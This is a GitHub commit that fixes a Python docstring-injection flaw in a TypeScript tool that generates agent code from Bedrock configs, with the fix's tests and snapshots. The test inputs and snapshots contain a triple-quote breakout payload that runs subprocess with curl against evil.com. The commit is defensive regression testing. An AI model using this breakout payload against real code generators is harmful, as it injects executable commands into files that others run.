Skip to content

Commit d7ff8a1

Browse files
committed
fix(import): escape triple-quotes in collaborationInstruction to prevent docstring injection
collaborationInstruction is free-form text that gets embedded inside a Python triple-quoted docstring ("""...""") in the generated main.py. Using only escapePySingleQuote left """ unescaped, allowing a malicious collaborator instruction to break out of the docstring and inject executable Python code into the generated file (HackerOne #3733333). Fix: use escapePyTripleQuote (escapes """ and \) instead of the previous escapePySingleQuote for collaborationInstruction. Chaining both helpers was also incorrect as it doubled backslash escaping. agentName is not affected — Bedrock enforces [0-9a-zA-Z_-] on that field.
1 parent 0a0a1c4 commit d7ff8a1

3 files changed

Lines changed: 78 additions & 8 deletions

File tree

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html
2+
3+
exports[`LangGraphTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = `
4+
"@tool
5+
def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str:
6+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\"
7+
import subprocess; subprocess.run(["curl","evil.com"])
8+
\\"\\"\\"'}"""
9+
10+
invoke_agent_response = invoke_collab_collaborator(query)
11+
tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)])
12+
return invoke_agent_response"
13+
`;
14+
15+
exports[`LangGraphTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = `
16+
"@tool
17+
def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str:
18+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}"""
19+
20+
invoke_agent_response = invoke_collab_collaborator(query)
21+
tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)])
22+
return invoke_agent_response"
23+
`;
24+
25+
exports[`StrandsTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = `
26+
"@tool
27+
def invoke_collab(query: str) -> str:
28+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\"
29+
import subprocess; subprocess.run(["curl","evil.com"])
30+
\\"\\"\\"'}"""
31+
32+
invoke_agent_response = invoke_collab_collaborator(query)
33+
return invoke_agent_response"
34+
`;
35+
36+
exports[`StrandsTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = `
37+
"@tool
38+
def invoke_collab(query: str) -> str:
39+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}"""
40+
41+
invoke_agent_response = invoke_collab_collaborator(query)
42+
return invoke_agent_response"
43+
`;

src/cli/operations/agent/import/__tests__/translator.test.ts

Lines changed: 34 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -192,9 +192,14 @@ function makeCollaboratorConfig(collaborationInstruction: string): BedrockAgentC
192192
});
193193
}
194194

195+
function extractToolFunction(mainPyContent: string): string {
196+
const start = mainPyContent.indexOf('@tool');
197+
const end = mainPyContent.indexOf('\n\n\n', start);
198+
return mainPyContent.slice(start, end);
199+
}
200+
195201
describe('StrandsTranslator - collaborationInstruction injection safety', () => {
196202
it('neutralizes triple-quote injection in collaborationInstruction', () => {
197-
// Payload attempts to break out of the """...""" docstring to inject executable code
198203
const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""';
199204
const config = makeCollaboratorConfig(payload);
200205
const translator = new StrandsTranslator(config, {
@@ -204,10 +209,20 @@ describe('StrandsTranslator - collaborationInstruction injection safety', () =>
204209
enableObservability: false,
205210
});
206211
const { mainPyContent } = translator.translate();
207-
// The """ must be escaped to \"\"\" — confirming the docstring is not broken out of
208-
expect(mainPyContent).toContain('\\"\\"\\"');
209-
// No bare """ should appear inside the tool docstring
210-
expect(mainPyContent).not.toMatch(/""".*"""\s*"""/s);
212+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
213+
});
214+
215+
it('preserves backslashes in collaborationInstruction without doubling', () => {
216+
const payload = 'C:\\path\\to\\file and regex \\d+';
217+
const config = makeCollaboratorConfig(payload);
218+
const translator = new StrandsTranslator(config, {
219+
agentConfig: config,
220+
enableMemory: false,
221+
memoryOption: 'none',
222+
enableObservability: false,
223+
});
224+
const { mainPyContent } = translator.translate();
225+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
211226
});
212227
});
213228

@@ -222,8 +237,20 @@ describe('LangGraphTranslator - collaborationInstruction injection safety', () =
222237
enableObservability: false,
223238
});
224239
const { mainPyContent } = translator.translate();
225-
expect(mainPyContent).toContain('\\"\\"\\"');
226-
expect(mainPyContent).not.toMatch(/""".*"""\s*"""/s);
240+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
241+
});
242+
243+
it('preserves backslashes in collaborationInstruction without doubling', () => {
244+
const payload = 'C:\\path\\to\\file and regex \\d+';
245+
const config = makeCollaboratorConfig(payload);
246+
const translator = new LangGraphTranslator(config, {
247+
agentConfig: config,
248+
enableMemory: false,
249+
memoryOption: 'none',
250+
enableObservability: false,
251+
});
252+
const { mainPyContent } = translator.translate();
253+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
227254
});
228255
});
229256

src/cli/operations/agent/import/base-translator.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -132,7 +132,7 @@ export abstract class BaseBedrockTranslator {
132132
this.isAcceptingRelays = collaboratorContext?.relayHistory === 'TO_COLLABORATOR';
133133
this.collaboratorDescriptions = this.collaborators.map(
134134
c =>
135-
`{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(BaseBedrockTranslator.escapePySingleQuote(c.collaborationInstruction ?? ''))}'}`
135+
`{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(c.collaborationInstruction ?? '')}'}`
136136
);
137137
this.collaboratorMap = new Map(this.collaborators.map(c => [c.collaboratorName ?? '', c]));
138138

0 commit comments

Comments
 (0)